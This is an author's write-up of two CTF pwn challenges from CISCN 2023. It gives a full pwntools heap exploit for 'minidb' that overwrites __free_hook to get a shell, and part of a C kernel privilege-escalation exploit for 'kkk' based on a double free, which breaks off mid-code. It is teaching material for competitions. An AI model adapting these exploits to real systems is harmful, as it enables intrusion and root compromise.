【CTF.0x09】CISCN 2023 华东北分区赛 minidb、kkk 出题手记

本文最后更新于:2023年12月18日 早上

典中典之低质量套路 Pwn 题集合

0x00. 一切开始之前

第一次帮国赛出题(主要是听说有💴恰),不出意外的话应该也是本科阶段最后一次出 CTF Pwn 题目了,同时这也是笔者第一次出 AWDP 的题目,感觉还是有点意思的 :)

因为短时间内确实是想不出什么新东西了所以出了两道比较套路化的题目,可惜解题率似乎有点不尽人意,估计大佬们应该都不屑于做笔者出的烂题吧 :(

0x01. minidb(简单)

这道题出题时的难度设置便是 简单 ,所以笔者是按照签到题的难度去出的,不过虽然成功 fix 的队伍不少,但是成功 break 的队伍似乎并如预期不多🤔(修都修了打还不会打🐎,你们是不是偷偷藏了什么👴不知道的通防手段

题目分析

首先还是惯例修个跳表:

IDA 修复跳表.png

提供了两层堆菜单,第一层可以让用户创建、使用、删除、展示、重命名数据库:

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 sub_1547()
{
int v1; // [rsp+8h] [rbp-18h] BYREF
unsigned int v2; // [rsp+Ch] [rbp-14h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v3 = 0LL;
do
{
sub_139F();
printf("Your choice: ");
__isoc99_scanf("%d", &v1);
v2 = v1;
if ( v1 > 5 )
{
LABEL_6:
if ( v2 == 666 )
continue;
LABEL_15:
puts("\x1B[31m\x1B[1m[x] Invalid choice!\x1B[0m");
continue;
}
if ( (int)v2 <= 0 || v2 > 5 )
goto LABEL_15;
switch ( v2 )
{
case 0u:
goto LABEL_15;
case 1u:
sub_1D38();
break;
case 2u:
v3 = sub_2080();
if ( v3 )
sub_1451(v3);
v3 = 0LL;
break;
case 3u:
sub_21C1();
break;
case 4u:
sub_23EA();
break;
case 5u:
sub_247F();
break;
default:
goto LABEL_6;
}
}
while ( v2 != 666 );
puts("See you next time~");
return __readfsqword(0x28u) ^ v4;
}

其中数据库的创建会分配两个 chunk,一个用作数据库本体,另一个用作数据库的名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
unsigned __int64 sub_1D38()
{
unsigned int v1; // [rsp+0h] [rbp-130h] BYREF
int i; // [rsp+4h] [rbp-12Ch]
int j; // [rsp+8h] [rbp-128h]
int v4; // [rsp+Ch] [rbp-124h]
void **v5; // [rsp+10h] [rbp-120h]
void *ptr; // [rsp+18h] [rbp-118h]
char s2[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+128h] [rbp-8h]

v8 = __readfsqword(0x28u);
if ( !dword_6088 )
dword_6088 = 1;
if ( dword_608C <= 4 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !qword_6060[i] )
{
v5 = (void **)&qword_6060[i];
break;
}
}
ptr = calloc(1uLL, 0x810uLL);
if ( ptr )
{
printf("Please input the name of database: ");
__isoc99_scanf("%255s", s2);
for ( j = 0; j <= 4; ++j )
{
if ( qword_6060[j] && !strcmp(*(const char **)(qword_6060[j] + 8LL), s2) )
{
puts("\x1B[31m\x1B[1m[x] There's already another database with the same name!\x1B[0m");
goto LABEL_24;
}
}
v4 = strlen(s2);
*((_QWORD *)ptr + 1) = malloc(v4 + 1);
if ( *((_QWORD *)ptr + 1) )
{
strcpy(*((char **)ptr + 1), s2);
*(_BYTE *)(*((_QWORD *)ptr + 1) + v4) = 0;
puts("Now you can set the type of your databse. Here's available choices:");
puts("1. int32 to str[128]");
puts("2. int64 to str[128]");
puts("3. int32 to str[256]");
puts("4. int64 to strr[256]");
puts("(Note that the string should end with a '\\0', so the max length of input is 127/255)");
printf("Please input the type of database: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 4 && v1 )
{
*(_DWORD *)ptr = v1;
*v5 = ptr;
++dword_608C;
printf("[+] Succesfully create a new database with name \"%s\"!\n", s2);
return __readfsqword(0x28u) ^ v8;
}
puts("\x1B[31m\x1B[1m[x] Invalid type of database!\x1B[0m");
free(*((void **)ptr + 1));
}
else
{
puts("\x1B[31m\x1B[1m[x] Failed to allocate space for db name!\x1B[0m");
}
LABEL_24:
free(ptr);
}
else
{
puts("\x1B[31m\x1B[1m[x] Failed to allocate space for db!\x1B[0m");
}
*v5 = 0LL;
}
else
{
puts("\x1B[31m\x1B[1m[x] You've already got too many databases!\x1B[0m");
}
return __readfsqword(0x28u) ^ v8;
}

第二层堆菜单则提供了对数据库内键值对数据的增加、查询、更新、删除操作:

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
unsigned __int64 __fastcall sub_1451(__int64 a1)
{
int v2; // [rsp+10h] [rbp-10h] BYREF
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
do
{
sub_13FE();
printf("Your choice: ");
__isoc99_scanf("%d", &v2);
v3 = v2;
if ( v2 == 666 )
continue;
if ( v3 <= 666 )
{
if ( v3 == 4 )
{
sub_1C47(a1);
continue;
}
if ( v3 <= 4 )
{
switch ( v3 )
{
case 3:
sub_1A81(a1);
continue;
case 1:
sub_1712(a1);
continue;
case 2:
sub_19BD(a1);
continue;
}
}
}
puts("\x1B[31m\x1B[1m[x] Invalid choice!\x1B[0m");
}
while ( v3 != 666 );
return __readfsqword(0x28u) ^ v4;
}

其中判断是否存在重复键的逻辑如下,可以看出数据储存方式是哈希表 + 单向链表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_QWORD *__fastcall sub_168D(__int64 a1, __int64 a2, _QWORD *a3)
{
_QWORD *v4; // [rsp+28h] [rbp-10h]
_QWORD *v5; // [rsp+30h] [rbp-8h]

v4 = *(_QWORD **)(a1 + 8 * ((unsigned __int8)a2 + 2LL)); /* hash to %256 */
v5 = 0LL;
while ( v4 )
{
if ( a2 == v4[1] )
{
if ( a3 )
*a3 = v5;
return v4;
}
v5 = v4;
v4 = (_QWORD *)*v4;
}
return v4;
}

由此我们可以逆向出数据库与键值对的结构体定义分别如下:

1
2
3
4
5
6
7
8
9
10
11
struct db_item {
struct db_item *next;
int64_t key;
char value[0]; /* 128 or 256 here */
};

struct database {
int64_t type;
char *name;
struct db_item *kv[256];
};

漏洞点在于编辑键值对的功能中,这里在读取用户输入后会先在键值对末尾放置 '\0' 后再检查长度,虽然限制了最大输入长度为 255 字符,但键值对的值长度有 128256 两种类型,对于前者而言我们可以利用该漏洞完成一个堆上越界写 \0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 __fastcall sub_1A81(_DWORD *a1)
{
int v2; // [rsp+1Ch] [rbp-224h]
__int64 v3; // [rsp+20h] [rbp-220h] BYREF
__int64 v4; // [rsp+28h] [rbp-218h]
char s[520]; // [rsp+30h] [rbp-210h] BYREF
unsigned __int64 v6; // [rsp+238h] [rbp-8h]

v6 = __readfsqword(0x28u);
if ( a1 )
{
printf("Input the key: ");
__isoc99_scanf("%ld", &v3);
v4 = sub_168D(a1, v3, 0LL);
if ( v4 )
{
printf("Input the new value: ");
__isoc99_scanf("%255s", s);
v2 = strlen(s);
*(_BYTE *)(v4 + v2 + 16) = 0; /* vulnerability here */
if ( (*a1 == 1 || *a1 == 2) && v2 > 127 || (*a1 == 3 || *a1 == 4) && v2 > 255 )
{
puts("\x1B[31m\x1B[1m[x] The length of new value is TOOOOOO LOOOOONG!\x1B[0m");
}
else
{
memcpy((void *)(v4 + 16), s, v2);
*(_BYTE *)(v4 + v2 + 16) = 0;
puts("[+] Succesfully update the value of specific key!");
}
}
else
{
puts("\x1B[31m\x1B[1m[x] Key NOT FOUND!\x1B[0m");
}
}
else
{
puts("\x1B[31m\x1B[1m[x] Runtime error! No database provided!\x1B[0m");
}
return __readfsqword(0x28u) ^ v6;
}

漏洞利用

由于是签到题难度所以解法比较俗,简单风水一下利用越界写改一个数据库的 database->name 指向另一个 chunk,释放进 unsorted bin 利用 UAF read 泄露 libc 后重取释放回 tcache 后劫持 next 指针打 __free_hook 即可

感觉也没啥好说的,毕竟本来就是签到题难度(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from pwn import *
# context.log_level = 'debug'

# p = process('./minidb')
p = remote('0.0.0.0', 9999)
libc = ELF('./libc-2.31.so')

def add_kv(key:int, value:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"1")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())
p.recvuntil(b"Input the value: ")
p.sendline(value)

def query_kv(key:int):
p.recvuntil(b"Your choice: ")
p.sendline(b"2")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())

def update_kv(key:int, value:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"3")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())
p.recvuntil(b"Input the new value: ")
p.sendline(value)

def delete_kv(key:int):
p.recvuntil(b"Your choice: ")
p.sendline(b"4")
p.recvuntil(b"Input the key: ")
p.sendline(str(key).encode())

def exit_db():
p.recvuntil(b"Your choice: ")
p.sendline(b"666")

def create_db(type:int, name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"1")
p.recvuntil(b"Please input the name of database: ")
p.sendline(name)
p.recvuntil(b"Please input the type of database: ")
p.sendline(str(type).encode())

def use_db(name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"2")
p.recvuntil(b"Please input the name of database: ")
p.sendline(name)

def delete_db(name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"3")
p.recvuntil(b"Please input the name of database: ")
p.sendline(name)

def list_db():
p.recvuntil(b"Your choice: ")
p.sendline(b"4")

def update_db_name(orig_name:bytes, new_name:bytes):
p.recvuntil(b"Your choice: ")
p.sendline(b"5")
p.recvuntil(b"Please input the name of database: ")
p.sendline(orig_name)
p.recvuntil(b"Please input the new name for database: ")
p.sendline(new_name)

def exp():
# pre heap fengshui
create_db(2, b"arttnba3")
use_db(b"arttnba3")

for i in range(3):
add_kv(i, b"arttnba3")

exit_db()

create_db(2, b"arttnba4")
use_db(b"arttnba4")

exit_db()

use_db(b"arttnba3")

add_kv(114514, b"rat3bant") # the victim
add_kv(1919810, b"arttnba3")
delete_kv(1919810)

exit_db()

delete_db(b"arttnba4")
create_db(2, b"arttnba3" * (0x90 // 8)) # reget 1919810

use_db(b"arttnba3")
update_kv(2, b'A' * (0x80 + 0x10 + 8)) # db->name is 114514 now

# fullfill the tcache
for i in range(7):
add_kv(1919810 + i, b'arttnba3')

for i in range(7):
delete_kv(1919810 + i)

# get an UAF unsorted chunk and leak libc
delete_kv(114514)
exit_db()
list_db()

libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
main_arena = libc_leak - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("Get libc addr leak: " + hex(libc_leak))
log.success("Libc base: " + hex(libc_base))

# reget the victim
use_db(b"arttnba3")

for i in range(7):
add_kv(1919810 + i, b'arttnba3')

add_kv(114514, b"rat3bant") # the victim

# free the victim and leak heap base
delete_kv(1919810 + 6)
delete_kv(114514)

exit_db()
list_db()
p.recvuntil(b'\tarttnba3\n\t')
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x1640
log.info("Get heap addr leak: " + hex(heap_leak))
log.success("Heap base: " + hex(heap_base))

# hijack the tcache list to __free_hook
update_db_name(p64(heap_leak)[:6],
p64(libc_base + libc.sym['__free_hook'] - 0x88) \
+ b"arttnba3" * ((0x90 // 8) - 1))

# overwrite __free_hook by dbname
create_db(2, b"arttnba4" * (0x90 // 8))
create_db(2, b"arttnba3" * ((0x90 // 8) - 1) \
+ p64(libc_base + libc.sym['system']))

# trigger
create_db(2, b"/bin/sh")
delete_db(b"/bin/sh")

p.interactive()

if __name__ == '__main__':
exp()

运行即可 get shell

image.png

漏洞修复

直接把多余的漏洞指令给 nop 掉即可

image.png

image.png

0x02. kkk(困难)

不知道为啥没人 break 的一道题目,漏洞本身利用的空间也挺大的,而且都有好几个队伍 fix 成功了,怎么最后解开的队伍数量还是 0 呢 :(

题目分析

题目提供了一个 kkk.ko,惯例拖入 IDA,其 ioctl() 只提供了两个功能——读取 k2u 队列与写入 u2k 队列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall kkk_ioctl(__int64 a1, int a2, __int64 a3)
{
mutex_lock(&ioctl_lock);
if ( a2 == 0x1919810 )
{
kkk_write_u2k_queue(a3);
}
else if ( a2 == 0x114514 )
{
kkk_read_k2u_queue(a3);
}
else
{
printk(&unk_143E);
}
mutex_unlock(&ioctl_lock);
return _x86_return_thunk();
}

写入 u2k 队列首先会判断队列是否已满,之后分配一个 object 并将数据从用户空间拷贝到内核空间,这里我们可以看出在队列当中的每个 object 都应当带有一个 header ,在 header 之后才是真正的用户数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall kkk_write_u2k_queue(__int64 a1)
{
__int64 v1; // r13
__int64 v2; // rax
__int64 v3; // r15
unsigned __int64 v4; // r12
__int64 v5; // rbx
__int64 v7[2]; // [rsp+0h] [rbp-48h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-38h]
unsigned __int64 v9; // [rsp+18h] [rbp-30h]

v9 = __readgsqword(0x28u);
v8 = 0LL;
v7[1] = 0LL;
v7[0] = 0LL;
mutex_lock(&u2k_lock);
v1 = ((_WORD)u2k_tail + 1) & 0xFFF;
if ( u2k_head != v1 && !copy_from_user(v7, a1, 24LL) && v8 <= 0xFFFFFFFFFFFFFFE7LL )
{
v2 = _kmalloc(v8 + 24, 4197568LL);
if ( v2 )
{
v3 = v2;
v4 = v8 + 24;
if ( ((v8 + 24) & 0xFFFFFFFF80000000LL) != 0 )
BUG();
_check_object_size(v2, v8 + 24, 0LL);
if ( copy_from_user(v3, a1, v4) )
{
kfree(v3);
}
else
{
v5 = u2k_tail;
if ( (unsigned __int64)u2k_tail >= 0x1000 )
_ubsan_handle_out_of_bounds(&off_24B0, u2k_tail);
u2k_queue[v5] = v3;
u2k_tail = v1;
}
}
}
mutex_unlock(&u2k_lock);
return _x86_return_thunk();
}

读取 k2u 队列则是直接将队列中的 object 整个拷贝回用户空间,注意到这里存在一个漏洞:即使数据拷贝失败也会释放 object,但该 object 不会出队列,从而导致我们可以使得一个 object 被多次 free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall kkk_read_k2u_queue(__int64 a1)
{
__int64 v1; // rbx
__int64 v2; // rbx
__int64 v3; // r12
__int64 v4; // r14
__int16 v5; // ax

mutex_lock(&k2u_lock);
v1 = k2u_head;
if ( k2u_head != k2u_tail )
{
if ( (unsigned __int64)k2u_head >= 0x1000 )
_ubsan_handle_out_of_bounds(&off_24D0, k2u_head);
v2 = k2u_queue[v1];
if ( !copy_to_user(a1, v2, 24LL) )
{
v3 = *(_QWORD *)(v2 + 16);
if ( (v3 & 0xFFFFFFFF80000000LL) != 0 )
BUG();
_check_object_size(v2 + 24, *(_QWORD *)(v2 + 16), 1LL);
if ( !copy_to_user(a1 + 24, v2 + 24, v3) )
{
v4 = k2u_head;
v5 = k2u_head;
if ( (unsigned __int64)k2u_head >= 0x1000 )
{
_ubsan_handle_out_of_bounds(&off_24F0, k2u_head);
v5 = k2u_head;
}
k2u_queue[v4] = 0LL;
k2u_head = (v5 + 1) & 0xFFF;
}
}
kfree(v2);
}
mutex_unlock(&k2u_lock);
return _x86_return_thunk();
}

那么读取 u2k 队列与写入 k2u 队列的功能在哪完成呢?让我们将目光放回初始化函数,在完成设备文件注册后其会启动一个 CPU 核心数个内核线程(本题为 1 个),该线程会执行函数 kkk_msg_handler_fn(),这个函数比较长我们一步一步来分析

本来想弄多个内核线程的,但是这样难度好像又太高了点(笑),所以只弄了一个

该函数整体是一个大循环,开头有个小循环内部会循环轮询 u2k 队列,若不为空则从中取出一个 object,若 object 开头的字段不为 1 则释放掉并重新继续循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __noreturn kkk_msg_handler_fn()
{
__int64 v0; // r14
int v1; // esi
unsigned __int64 v2; // rdi
__int64 v3; // rax
__int64 v4; // r15
__int64 v5; // rax
__int64 v6; // rax
__int16 v7; // cx
unsigned __int64 v8; // rdi
__int64 v9; // rax
void *v10; // rdi
__int64 v11[4]; // [rsp+0h] [rbp-20h] BYREF

v11[0] = 0LL;
while ( 1 )
{
while ( 1 )
{
while ( (unsigned int)kkk_read_u2k_queue(v11) )
msleep(1000LL);
v0 = v11[0];
if ( *(_WORD *)v11[0] == 1 )
break;
printk(&unk_1743);
LABEL_24:
msg_free(v11[0]);
}

接下来是一个巨大的 switch,根据从 u2k 队列中取出的 object 指定字段的值进行相应处理,主要实现了 tea 加密、tea 解密、md5 哈希算法三种功能

在完成请求后会根据选项不同与执行结果不同选择是否将该 object 重用并写入 k2u 队列或是分配一个新的 object 写入 k2u 队列,对于 md5 哈希请求而言总会分配一个新的 object,而 tea 加解密请求则会,作为请求执行的结果返回给用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
    switch ( v1 )
{
case 3:
v5 = msg_alloc(16LL);
if ( v5 )
{
v4 = v5;
if ( (unsigned int)kkk_crypto_hash_md5((void *)(v0 + 24), *(_QWORD *)(v0 + 16)) )
{
printk(&unk_17E1);
v7 = 2;
v6 = 0LL;
}
else
{
v6 = 16LL;
v7 = 1;
}
*(_DWORD *)v4 = 196610;
*(_WORD *)(v4 + 4) = v7;
*(_QWORD *)(v4 + 8) = *(_QWORD *)(v0 + 8);
goto LABEL_23;
}
goto LABEL_32;
case 2:
v8 = *(_QWORD *)(v11[0] + 16);
if ( v8 < 0x18 || (v8 & 7) != 0 )
{
v10 = &unk_17AD;
goto LABEL_31;
}
v9 = msg_alloc(v8 - 16);
if ( !v9 )
{
LABEL_27:
v10 = &unk_1795;
LABEL_31:
printk(v10);
goto LABEL_32;
}
v4 = v9;
if ( (int)kkk_crypto_tea_decrypt((void *)(v0 + 40), *(_QWORD *)(v0 + 16) - 16LL) >= 0 )
{
*(_DWORD *)v4 = 131074;
LABEL_22:
*(_WORD *)(v4 + 4) = 1;
*(_QWORD *)(v4 + 8) = *(_QWORD *)(v0 + 8);
v6 = *(_QWORD *)(v0 + 16) - 16LL;
LABEL_23:
*(_QWORD *)(v4 + 16) = v6;
kkk_write_k2u_queue(v4);
goto LABEL_24;
}
break;
case 1:
v2 = *(_QWORD *)(v11[0] + 16);
if ( v2 < 0x18 || (v2 & 7) != 0 )
{
v10 = &unk_1761;
goto LABEL_31;
}
v3 = msg_alloc(v2 - 16);
if ( !v3 )
goto LABEL_27;
v4 = v3;
if ( (int)kkk_crypto_tea_encrypt((void *)(v0 + 40), *(_QWORD *)(v0 + 16) - 16LL) >= 0 )
{
*(_DWORD *)v4 = (_DWORD)&unk_10002;
goto LABEL_22;
}
break;
default:
*(_WORD *)v11[0] = 2;
*(_WORD *)(v0 + 4) = 2;
printk(&unk_1808);
goto LABEL_33;
}
kfree(v4);
LABEL_32:
*(_WORD *)v0 = 2;
*(_WORD *)(v0 + 4) = 2;
LABEL_33:
kkk_write_k2u_queue(v0);
}
}

逆向分析我们不难获得 u2kk2u 队列中的 object 的结构体定义:

👴自己逆半天得的,没有偷偷看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define TYPE_REQUEST    1
#define TYPE_REPLY 2

#define CMD_ENCRYPT_TEA 1
#define CMD_DECRYPT_TEA 2
#define CMD_HASH_MD5 3

#define STATUS_SUCCESS 1
#define STATUS_FAIL 2

struct msg_hdr {
uint16_t type;
uint16_t cmd;
uint32_t status;
uint64_t tag;
uint64_t data_len;
uint8_t data[0];
};

那么这个内核模块的全貌便已经展现在我们面前了:用户通过 ioctl() 向请求队列 u2k 中放入请求消息(每条消息附带一个 header),内核线程异步地从 u2k 队列中读取消息,根据其类型进行处理,完成之后将结果放回 k2u 队列,由用户进行异步读取;对于请求与响应消息长度相同的,内核会复用相应的 object,否则会分配新的 object 作为返回结果并释放储存原有请求信息的 object

严格意义上来说这道题其实没有完全完成,笔者原本想要写一个完整的用户与内核间的 异步通信消息处理框架 ,但是最后只完成了异步通信队列,没有完成基于内存共享的状态查询部分,不过我们仍能通过 ioctl() 直接读取的方式完成轮询,就是开销巨大:)

漏洞利用

利用 UAF 将 pipe_buffermsg_msgseg 分配到一起,读写 pipe 使得其使用 pipe_buffer[1] 以避免 msg_msgseg 开头的 NULL 干扰,之后不断重分配 msg_msgseg 进行内存搜索找到当前进程的 task_struct 并将 task_struct->cred 改为 init_cred 即可完成提权

这里没有选择将两个 pipe_buffer 分配到同一个 object 的方式是因为题目开启了 CONFIG_INIT_ON_FREE_DEFAULT_ON ,所有的内核对象在释放后都会被清零,因此我们很难直接构造出 page-level UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <errno.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <stdint.h>

/**
* I - fundamental functions
* e.g. CPU-core binder, user-status saver, etc.
*/

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
size_t page_count;

page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;

return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
puts("[*] checking for root...");

if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

struct list_head {
uint64_t next;
uint64_t prev;
};

#ifndef MSG_COPY
#define MSG_COPY 040000
#endif

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

/*
struct msgbuf {
long mtype;
char mtext[0];
};
*/

int get_msg_queue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

#ifndef MSG_COPY
#define MSG_COPY 040000 /* copy (not remove) all queue messages */
#endif

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

/**
* II - interface to interact with /dev/kcache
*/

int dev_fd;

/* msg type */
#define TYPE_REQUEST 1
#define TYPE_REPLY 2

/* user to kernel request */
#define CMD_ENCRYPT_TEA 1
#define CMD_DECRYPT_TEA 2
#define CMD_HASH_MD5 3

/* msg status */
#define STATUS_SUCCESS 1
#define STATUS_FAIL 2

/* for ioctl */
#define RECV_MSG 0x114514
#define SEND_MSG 0x1919810

/* message header */
struct msg_hdr {
uint16_t type;
uint16_t cmd;
uint16_t status; /* for TYPE_REPLY only */
size_t tag; /* for user to identify different message */
size_t data_len;
char data[0];
};

struct tea_crypt_info {
uint32_t key[4];
char text[0];
};

#define set_msg_hdr(_hdr, _type, _cmd, _status, _tag, _data_len) \
do { \
_hdr->type = _type; \
_hdr->cmd = _cmd; \
_hdr->status = _status; \
_hdr->tag = _tag; \
_hdr->data_len = _data_len; \
} while (0)

#define get_hdr_data(__hdr, ptr_type) ({ \
((ptr_type*) &__hdr->data); \
})

long kkk_send_msg(int dev_fd, struct msg_hdr *msg)
{
return ioctl(dev_fd, SEND_MSG, msg);
}

long kkk_recv_msg(int dev_fd, struct msg_hdr *msg)
{
return ioctl(dev_fd, RECV_MSG, msg);
}

/**
* III - FIRST exploit stage - make page-level UAF
*/
#define SECOND_LEVEL_PIPE_NUM 0x100

int rw_pipe[2];
int second_level_pipe[SECOND_LEVEL_PIPE_NUM][2];
int msqid;
size_t msg_buf[0x1000], *pipe_buf, pipe_ops;

